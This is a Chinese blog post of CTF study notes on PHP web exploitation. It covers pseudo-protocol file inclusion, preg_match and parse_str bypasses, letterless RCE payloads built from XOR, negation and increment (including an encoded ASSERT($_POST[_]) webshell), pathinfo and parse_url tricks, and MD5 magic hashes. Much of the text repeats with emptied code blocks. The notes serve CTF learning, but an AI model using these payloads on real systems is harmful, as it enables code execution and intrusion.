启语:算给自己看的,只能算一些干货,从刚入门到现在写了些,有时候懒没放进来,慢慢的都会放进来吧!
伪协议总结参考:
1.eval的一些小姿势?
平常我们见到的eval都是形如eval(system('ls');)
这样式儿的是吧
下面介绍一些变种
1 | eval(system('ls')?>) |
2.伪协议与文件包含函数的一些误区
data,input协议与Include和high_lightfile(show_source)
data协议
- 条件
- allow_url_fopen:on
- allow_url_include :on
就实际上我是有一个误区,没错说的就是你
不要误以为data+文件包含函数
就是可以执行命令(刚入门的时候写的)
实际上能执行代码完全靠的是include
的函数,而highlight_file
这类的就完全不行!
- 举个栗子!这里是highlight_file对不对,我们输入一个data协议试试看
1
2
3
4
5
6
7
8
if (isset($_GET['file'])) {
#test test peace peace!
highlight_file($_GET["file"]);
} else {
highlight_file(__FILE__);
}
可以看出来这边儿,完完全全的没有运行,单单的是把指令显示出来了而已,这也凸显了highlight_file
这个函数的作用,就是显示代码,并不具备解析作用
所以data伪协议也实际上可以看作是把这段代码存储到了file里面而已!
至于为什么能执行指令,data+include
,由于include会解析文件,所以里面的指令被运行了!
我们把highlight_file
更换成include
可以发现运行了指令:
完完整整的运行出来了,所以这归功与include
的功劳
input协议
- 条件
- allow_url_include :on
- allow_url_fopen:开关都可以
data与input基本一致,只不过data
是以get
方式向file储存代码,而input
是以post
方式去储存
注意:用input方法的话就不能去用hackbar的post(有小bug),得用burpsuite
去传递post
- 举个栗子代码和上面的基本一样,我们用的是
1
2
3
4
5
6
7
8
if (isset($_GET['file'])) {
#test test peace peace!
include($_GET["file"]);
} else {
highlight_file(__FILE__);
}_include_
可以看到如果用hackbar去传参一点反应都没有,具体原因是什么我来告诉你:
我们传一个a=<?php phpinfo();?>
:
在界面中出现了这个,可以发现我们输入的代码进去之后被url编码导致乱码无法识别,进而不能实现
这里也可以说明data和input的作用其实是一样的,都不是直接运行代码,而是依赖include去解析,界面中显示了a=……..,就是最好的解释
换成burpsuite去传递这个参数后:
假如我们把include改成show_source或者是highlight_file的话:
可以看到就只剩下了代码,和上面运行data协议一模一样
小结
不难发现,其实data和input就是向参数中写入数据,再依赖include这一类函数去解析,最后运行代码
并不是什么直接运行代码哈哈哈哈,笑死我了为什么我之前一直认为会直接运行啊!
filter协议
filter协议用法就很熟悉,与data相反,filter是去读取文件,把文件的内容存入参数:
- 通俗易懂的栗子:代码还是上面的代码:
1
2
3
4
5
6
7
8
if (isset($_GET['file'])) {
#test test peace peace!
@show_source($_GET["file"]);
} else {
highlight_file(__FILE__);
}
可以看到显示出了我们flag.php里面的文件内容,原理和上面的data,input一样,只是将数据存入file这个变量里,并不是会直接显示在页面上
我们把show_source
换成@file_get_contents
:
可以发现什么都没有
变成echo @file_get_contents
后,查看网页源代码发现:
输出了内容
小结
所谓的什么伪协议流,其实就是读取文件或者写入内容到文件,并且储存到变量里面
不要搞混了哦
3.URL编码一些总结
1 | 特殊含义 十六进制 |
(1)在URL中,空格和单引号都会被编码,例如访问:https://www.baidu.com/?id=1&name='xi e’&pass=”密码”
抓包是这样的,单引号,双引号、中文和空格都会被编码
(2)在我们的URL参数中有一个参数的值中包含了 & 的话,则在URL中必须将 & 给编码。例如我们的name参数的值是12&dsfa 的话,我们在URL中则必须将&给编码
https://www.baidu.com/?id=1&name=12&dsfa ,这里没将&进行编码的话,浏览器则把12&dsfa给拆开了
https://www.baidu.com/?id=1&name=12%26dsfa ,这里将 & 进行了编码,则浏览器将name的值解析为了 12&dsfa
#号的作用
代表网页中的一个位置。其右面的字符,就是该位置的标识符。比如,http://www.example.com/index.html#print就代表网页index.html的print位置。浏览器读取这个URL后,会自动将print位置滚动至可视区域。为网页位置指定标识符,有两个方法。一是使用锚点,比如,二是使用id属性,比如4.扫盲之%0a绕过preg_match误区
今天以前,我还傻乎乎的觉得,看到了preg_match没加m,就可以换行符绕过!这不是天经地义吗!
然后到今天才知道自己的浅薄
先浅浅的举个栗子
1
2
3
4
5
6
$str=$_GET['b'];
if(preg_match('/^flag/i', $str)){
echo 'yes';
}
诶?怎么回事是不是很好奇,不是说换行了就不会被匹配到吗?我想告诉你的是这是错误的想法
实际上并不是什么只会匹配第一行,这是一个错误的思想
那我们说的“换行”是什么意思呢?
1
2
3
4
5
6
$str=$_GET['b'];
if(preg_match('/^.flag/i', $str)){
echo 'yes';
}
实际上意思是换行符不会被正则匹配中的”.”识别!
所以我们payload:?b=%0aflag
这个%0a不会被正则识别所以达到了绕过!
这次就没输出yes,说明正则匹配没匹配到!
那我们正则匹配里的m的意思是什么?
在这里可以看到,m
是一定要搭配^
或者$
来使用的,也就是说有m必须要有^或者$,否则无意义
- 举个栗子
1
2
3
4
$str=$_GET['b'];
if(preg_match('/^flag/im', $str)){
echo 'yes';
}
我们payload:a%0aflag
发现匹配到了,而flag明明不是首发
这更好的印证了m是以每个换行符\n
为起始点去识别的
这里要说一下正则匹配^flag
不是说以f字母开头的,是以flag开头的
这样就匹配不到
而在非多行模式下,$似乎会忽略在句尾的%0a1
2
3
if (preg_match('/^flag$/', $_GET['a']) && $_GET['a'] !== 'flag') {
echo $flag;
}
?a=flag%0a
5.数组绕过preg_match
md5(Array()) = null
sha1(Array()) = null
ereg(pattern,Array()) = null
preg_match(pattern,Array()) = false
strcmp(Array(), “abc”) = null
strpos(Array(),”abc”) = null
strlen(Array()) = null
6.误区之parse_str
parse_str的官方介绍:
函数将字符串中的变量注册,分隔符就是&
和URL一模一样,那他有什么误区呢?
在做ctfshow的web134时发现了这个问题
- 分析
函数的分隔符&不是你用URL传进去的,而是源代码里用URL,有点抽象我们来看个例子
1
2
3
4
5
var_dump($_SERVER['QUERY_STRING']);
parse_str($_SERVER['QUERY_STRING']);
var_dump(get_defined_vars())
首先我们payload:?_POST['key1']=36d&_POST['key2']=36d
首先单引号被转成了%27(自动转),前面一切正常
注意 ‘’key1’’ => string ‘36d’ (length=3) ‘’key2’’ => string ‘36d’ (length=3)
这里他的键的名字是'key1'
他把单引号也算成了名字,这时候我还很疑惑到底是怎么回事,我们平常给数组取键名都是带单引号的呀
猜想是parse_str自动把URL编码解码了:
换一个代码测试一下:
1
2
3
4
parse_str("a=1%26b=2%26c=3");
var_dump(get_defined_vars())
其中%26是&
可以看到在最后这个a被注册成了一个变量,值是1&b=2&c=3
首先函数会自动解码URL编码,这一点确信了
诶?真是奇怪,不是说&是分隔符吗?是不是这么想的
实际上我们传入%26进去,函数以为我们的意思是让%26解码后作为变量的值
parse_str中&怎么当分隔符?:
1
2
3
parse_str("a=1&b=2&c=3");
var_dump(get_defined_vars())
这种情况结果为:
可以看到a,b,c均被注册,所以说&要在源代码中才可以起分隔符的作用!
我们URL去传&假如不编码会被认为要传入多个变量
假如编码也发挥不了作用
结束!
7.无字母RCE的一些思考
首先参考yu的文章:
按位异或,按位与,按位或
取反,按位,都需要PHP7环境!!!!!!(MUST)
麻,以按位疑惑为例子:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
$myfile = fopen("text.txt", "w"); //新创建一个文件,也就是rce_or.txt,给他写的权限
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {
if($i<16){
$hex_i='0'.dechex($i); //ascii的前16个字符的十六进制应该是01,02,所以在前缀加‘0’
}
else{
$hex_i=dechex($i); //前16个后面的就不用加0了
}
if($j<16){
$hex_j='0'.dechex($j); //同理上方
}
else{
$hex_j=dechex($j); //同理上方
}
$preg ='/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i';
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo ""; //如果有符合条件的就筛掉,输出空格
}
else{ //可以使用的字符如下
$a='%'.$hex_i; //十六进制前加百分号就变成了URL编码格式
$b='%'.$hex_j;
$c=(urldecode($a)^urldecode($b)); //urldecode函数是解URL编码,把他们变成字符串,这里是字符串进行按位或运算,按位或运算后,可以得到新的字符,如%21和%00进行按位或就变成了!,这样我们就可以使用感叹号,就类似于合成新的字符
if (ord($c)>=32&ord($c)<=126) { //ord函数是将字符变成ASCII码
$contents=$contents.$c." ".$a." ".$b."\n"; //每次到这里都写入刚刚建立的文本内
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
def action(arg):
s1 = ""
s2 = ""
for i in arg:
f = open("text.txt", "r")
while True:
t = f.readline() # 逐行读取文件 //每一次循环,指针都会指向下一行,输出下一行的字符
if t == "": # 读到空,即读完跳出循环
break
if t[0] == i: # 就比如我们这边输入的arg是system,当文本当前行第一个字母是s或者y这些字符就写入s1,s2
# print(i)
s1 += t[2:5] # 提取第一个字符串,具体可以看上面我的截图,如第一行的%00
s2 += t[6:9] # 提取第二个字符串
break
f.close()
output = "(\"" + s1 + "\"^\"" + s2 + "\")" # s1和s2进行或运算就可以合成对应的字母s,y,s,t,e,m
return (output)
param = action(input("\n[+] your function:")) + action(input("[+] your command:"))
print(param)
首先来讲一下原理把:
1
2
3
4
5
6
7
8
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo ""; //如果有符合条件的就筛掉,输出空格
}
else{ //可以使用的字符如下
$a='%'.$hex_i; //十六进制前加百分号就变成了URL编码格式
$b='%'.$hex_j;
$c=(urldecode($a)^urldecode($b)); //urldecode函数是解URL编码,把他们变成字符串,这里是字符串进行按位或运算,按位或运算后,可以得到新的字符,如%21和%00进行按位或就变成了!,这样我们就可以使用感叹号,就类似于合成新的字符
主要的PHP代码在这里,这段代码的意思是利用hex2bin来获取filter以外的字符,如空白字符,一些乱码之类的,但是这些字符都有对应的二进制数字,所以可以进行取反,异或之类的操作
举个栗子吧,以脚本生成的结果中调几个来看:
看到92行,意思就是%04|%27的结果URL解码后就是#
在本地测试一下看看:
1
2
3
4
5
echo hex2bin('04').'<br>';
echo hex2bin('27').'<br>';
echo (urldecode('%04')^urldecode('%27'));
从结果来看就是那些满足filter条件的字符,不是数字也不是字母,是一些特殊符号和乱码,如果filter中过滤了特殊符号,那就修改一下脚本即可
用两个乱码合成了一个#,可以这么理解
最后再来谈谈结果的原理:
(“%0f%08%0f%09%0e%06%0f”^”%7f%60%7f%60%60%60%60”)(“%0b”^”%3a”)
就好比我们的system(‘ls),我们看看这一堆东西输入进去后为什么会变成答案?
首先URL会帮你解码一次,我感到好奇的是双引号的作用,本地测试一下
1
2
3
4
5
6
7
8
9
10
error_reporting(0);
highlight_file(__FILE__);
$code=$_GET['code'];
echo $code;
if(preg_match('/[a-z0-9]/i',$code)){
die('hacker');
}
eval($code);
我们payload:?code=(“%0f%08%0f%09%0e%06%0f”^”%7f%60%7f%60%60%60%60”)(“%0b”^”%3a”);
看得到结果输出的code是一滩乱码,这是因为被URL解码过了,由于这些乱码我们都没过滤,所以可以满足条件
猜测是在eval内完成了异或的操作
本地测试一下能否进行异或操作:
1
2
3
4
5
echo urldecode("%0f%08%0f%09%0e%06%0f")^urldecode("%7f%60%7f%60%60%60%60");
echo '<br>';
echo urldecode("%0b")^urldecode("%3a");
是可行的,都解出来了,这样对原理就清楚了
取反
在php内取反很方便,因为php内可以取反字符串,而在python内就显得麻烦的多,取反脚本如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
//在命令行中运行
/*author yu22x*/
fwrite(STDOUT,'[+]your function: ');
$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
fwrite(STDOUT,'[+]your command: ');
$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
意思就是先对输入的字符串进行取反,我们payload时二次取反达到还原的目的,
了解一下取反的原理:
1
2
3
echo ~'phpinfo()';
可以看到是乱码!所以可以绕过preg_match的过滤,我们把这乱码二次取反后:
1
2
3
4
5
$a=~'phpinfo();';
echo ~$a;
可以还原,和上面的异或其实是一个意思
自增
参考以上文章
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
$_=[].[]; //俩数组拼接强行返回ArrayArray,这里一个短杠的值也就是ArrayArray
$__=''; //两个短杠赋值为空
$_=$_[''];//从arrayarray中取首字符,即a。这里$_=$_[0]也是一样的道理,不过waf限制数字输入
$_=++$_; //b
$_=++$_; //c
$_=++$_; //d
$_=++$_; //e
$__.=$_; //E 把两个短杠赋值为E
$_=++$_; //F 一个短杠继续自增
$_=++$_; //G
$__=$_.$__; // GE 一个短杠自增变成了G,两个短杠在前面第十一行处已经赋值为E,拼接得GE
$_=++$_; //H 此处一个短杠继续自增,为H
$_=++$_; //I
$_=++$_; //J
$_=++$_; //k
$_=++$_; //L
$_=++$_; //M
$_=++$_; //N
$_=++$_; //O
$_=++$_; //P
$_=++$_; //Q
$_=++$_; //R
$_=++$_; //S
$_=++$_; //T
$__.=$_; // GET 在此处,两条短杠原是GE与一条短杠(已经自增为T),.=拼接,构成get
${'_'.$__}[_](${'_'.$__}[__]); // 进行拼接,$_GET['_']($_GET['__']);
url编码后:
%24_%3d%5b%5d.%5b%5d%3b%24__%3d%27%27%3b%24_%3d%24_%5b%27%27%5d%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24__.%3d%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24__%3d%24_.%24__%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24__.%3d%24_%3b%24%7b%27_%27.%24__%7d%5b_%5d(%24%7b%27_%27.%24__%7d%5b__%5d)%3b
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;
$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
url编码后:
%24_%3d%5b%5d%3b%24_%3d%40%22%24_%22%3b%24_%3d%24_%5b%27!%27%3d%3d%27%40%27%5d%3b%24___%3d%24_%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24___.%3d%24__%3b%24___.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24___.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24___.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24___.%3d%24__%3b%24____%3d%27_%27%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24____.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24____.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24____.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24____.%3d%24__%3b%24_%3d%24%24____%3b%24___(%24_%5b_%5d)%3b
第二个payload需要PHP小于7的版本,因为在PHP7,assert不再可以被动态调用
上传文件
参考:
利用/tmp/phpxxxxxx
8.pathinfo()函数漏洞
参考如下:
1
2
3
4
5
6
7
$name = $_GET['name'];
var_dump($name);
$pathinfo_name=pathinfo($name);
var_dump($pathinfo_name);
highlight_file(__FILE__);
我们传入1.php/.后,后缀名为NULL,这样可以绕过一些检测:
$pathinfo[extension]=pathfo($name,PATHINFO_EXTENSION) 获取文件后缀名时时获取的 . 后面的内容,当出现多个 . 时,结果为最后一个 . 后面的内容。所以可以利用这个特性实现对后缀名检测的绕过。如/../../../../1.php
,还是会检测出php
9.LInux提权
这边儿还是自己实操为好,之前因为一道错题,全测了个遍,正好也练了会儿
SUID利用
10.SSTI大全
11.parse_url解析问题
参考:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
完整url: scheme:[//[user[:password]@]host[:port]][/path][?query][#fragment]
这里仅讨论url中不含'?'的情况
php parse_url:
host: 匹配最后一个@后面符合格式的host
libcurl:
host:匹配第一个@后面符合格式的host
如:
http://u:[email protected]:[email protected]/
php解析结果:
schema: http
host: b.com
user: u
pass: [email protected]:80
libcurl解析结果:
schema: http
host: a.com
user: u
pass: p
port: 80
后面的@b.com/会被忽略掉
杂项
Md5
0e1137126905
0e291659922323405260514745084877
php magic hash
0e215962017
0e291242476940776845150308577824
php magic hash
240610708
0e462097431906509019562988736854
php magic hash
QNKCDZO
0e830400451993494058024219903391
php magic hash
129581926211651571912466741651878684928
06da5430449f8f6f23dfc1276f722738
raw : ?T0D??o#??’or’8
.N=?
编码
一些转换网址
一些教程网址
原型链污染:
绕过wakeup new:
https://bugs.php.net/bug.php?id=81151
WAF绕过:
获得IP的一些请求头
12.大佬博客
https://drun1baby.github.io/
https://5ime.cn/h1ve.html
https://blog.zgsec.cn/index.php/category/ctf/
https://github.com/SecWiki/sec-chart
About this Post
This post is written by Boogipop, licensed under CC BY-NC 4.0.
4.扫盲之%0a绕过preg_match误区
今天以前,我还傻乎乎的觉得,看到了preg_match没加m,就可以换行符绕过!这不是天经地义吗!
然后到今天才知道自己的浅薄
先浅浅的举个栗子
1 |
|
诶?怎么回事是不是很好奇,不是说换行了就不会被匹配到吗?我想告诉你的是这是错误的想法
实际上并不是什么只会匹配第一行,这是一个错误的思想
那我们说的“换行”是什么意思呢?
1 |
|
实际上意思是换行符不会被正则匹配中的”.”识别!
所以我们payload:?b=%0aflag
这个%0a不会被正则识别所以达到了绕过!
这次就没输出yes,说明正则匹配没匹配到!
那我们正则匹配里的m的意思是什么?
在这里可以看到,m
是一定要搭配^
或者$
来使用的,也就是说有m必须要有^或者$,否则无意义
- 举个栗子我们payload:a%0aflag
1
2
3
4$str=$_GET['b'];
if(preg_match('/^flag/im', $str)){
echo 'yes';
}
发现匹配到了,而flag明明不是首发
这更好的印证了m是以每个换行符\n
为起始点去识别的
这里要说一下正则匹配^flag
不是说以f字母开头的,是以flag开头的
这样就匹配不到
而在非多行模式下,$似乎会忽略在句尾的%0a1
2
3if (preg_match('/^flag$/', $_GET['a']) && $_GET['a'] !== 'flag') {
echo $flag;
}?a=flag%0a
5.数组绕过preg_match
md5(Array()) = null
sha1(Array()) = null
ereg(pattern,Array()) = null
preg_match(pattern,Array()) = false
strcmp(Array(), “abc”) = null
strpos(Array(),”abc”) = null
strlen(Array()) = null
6.误区之parse_str
parse_str的官方介绍:
函数将字符串中的变量注册,分隔符就是&
和URL一模一样,那他有什么误区呢?
在做ctfshow的web134时发现了这个问题
- 分析
函数的分隔符&不是你用URL传进去的,而是源代码里用URL,有点抽象我们来看个例子
1 |
|
首先我们payload:?_POST['key1']=36d&_POST['key2']=36d
首先单引号被转成了%27(自动转),前面一切正常
注意 ‘’key1’’ => string ‘36d’ (length=3) ‘’key2’’ => string ‘36d’ (length=3)
这里他的键的名字是'key1'
他把单引号也算成了名字,这时候我还很疑惑到底是怎么回事,我们平常给数组取键名都是带单引号的呀
猜想是parse_str自动把URL编码解码了:
换一个代码测试一下:
1 |
|
其中%26是&
可以看到在最后这个a被注册成了一个变量,值是1&b=2&c=3
首先函数会自动解码URL编码,这一点确信了
诶?真是奇怪,不是说&是分隔符吗?是不是这么想的
实际上我们传入%26进去,函数以为我们的意思是让%26解码后作为变量的值
parse_str中&怎么当分隔符?:
1 | parse_str("a=1&b=2&c=3"); |
这种情况结果为:
可以看到a,b,c均被注册,所以说&要在源代码中才可以起分隔符的作用!
我们URL去传&假如不编码会被认为要传入多个变量
假如编码也发挥不了作用
结束!
7.无字母RCE的一些思考
首先参考yu的文章:
按位异或,按位与,按位或
取反,按位,都需要PHP7环境!!!!!!(MUST)
麻,以按位疑惑为例子:
1 |
|
1 | def action(arg): |
首先来讲一下原理把:
1 | if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){ |
主要的PHP代码在这里,这段代码的意思是利用hex2bin来获取filter以外的字符,如空白字符,一些乱码之类的,但是这些字符都有对应的二进制数字,所以可以进行取反,异或之类的操作
举个栗子吧,以脚本生成的结果中调几个来看:
看到92行,意思就是%04|%27的结果URL解码后就是#
在本地测试一下看看:
1 |
|
从结果来看就是那些满足filter条件的字符,不是数字也不是字母,是一些特殊符号和乱码,如果filter中过滤了特殊符号,那就修改一下脚本即可
用两个乱码合成了一个#,可以这么理解
最后再来谈谈结果的原理:
(“%0f%08%0f%09%0e%06%0f”^”%7f%60%7f%60%60%60%60”)(“%0b”^”%3a”)
就好比我们的system(‘ls),我们看看这一堆东西输入进去后为什么会变成答案?
首先URL会帮你解码一次,我感到好奇的是双引号的作用,本地测试一下
1 |
|
我们payload:?code=(“%0f%08%0f%09%0e%06%0f”^”%7f%60%7f%60%60%60%60”)(“%0b”^”%3a”);
看得到结果输出的code是一滩乱码,这是因为被URL解码过了,由于这些乱码我们都没过滤,所以可以满足条件
猜测是在eval内完成了异或的操作
本地测试一下能否进行异或操作:
1 |
|
是可行的,都解出来了,这样对原理就清楚了
取反
在php内取反很方便,因为php内可以取反字符串,而在python内就显得麻烦的多,取反脚本如下:
1 |
|
意思就是先对输入的字符串进行取反,我们payload时二次取反达到还原的目的,
了解一下取反的原理:
1 |
|
可以看到是乱码!所以可以绕过preg_match的过滤,我们把这乱码二次取反后:
1 |
|
可以还原,和上面的异或其实是一个意思
自增
参考以上文章
1 |
|
1 |
|
第二个payload需要PHP小于7的版本,因为在PHP7,assert不再可以被动态调用
上传文件
参考:
利用/tmp/phpxxxxxx
8.pathinfo()函数漏洞
参考如下:
1 |
|
我们传入1.php/.后,后缀名为NULL,这样可以绕过一些检测:
$pathinfo[extension]=pathfo($name,PATHINFO_EXTENSION) 获取文件后缀名时时获取的 . 后面的内容,当出现多个 . 时,结果为最后一个 . 后面的内容。所以可以利用这个特性实现对后缀名检测的绕过。如/../../../../1.php
,还是会检测出php
9.LInux提权
这边儿还是自己实操为好,之前因为一道错题,全测了个遍,正好也练了会儿
SUID利用
10.SSTI大全
11.parse_url解析问题
参考:
1 | 完整url: scheme:[//[user[:password]@]host[:port]][/path][?query][#fragment] |
杂项
Md5
0e1137126905 | 0e291659922323405260514745084877 | php magic hash |
---|---|---|
0e215962017 | 0e291242476940776845150308577824 | php magic hash |
240610708 | 0e462097431906509019562988736854 | php magic hash |
QNKCDZO | 0e830400451993494058024219903391 | php magic hash |
129581926211651571912466741651878684928 | 06da5430449f8f6f23dfc1276f722738 | raw : ?T0D??o#??’or’8 |
.N=? |
编码
一些转换网址
一些教程网址
原型链污染:
绕过wakeup new:
https://bugs.php.net/bug.php?id=81151
WAF绕过:
获得IP的一些请求头
12.大佬博客
https://drun1baby.github.io/
https://5ime.cn/h1ve.html
https://blog.zgsec.cn/index.php/category/ctf/
https://github.com/SecWiki/sec-chart
About this Post
This post is written by Boogipop, licensed under CC BY-NC 4.0.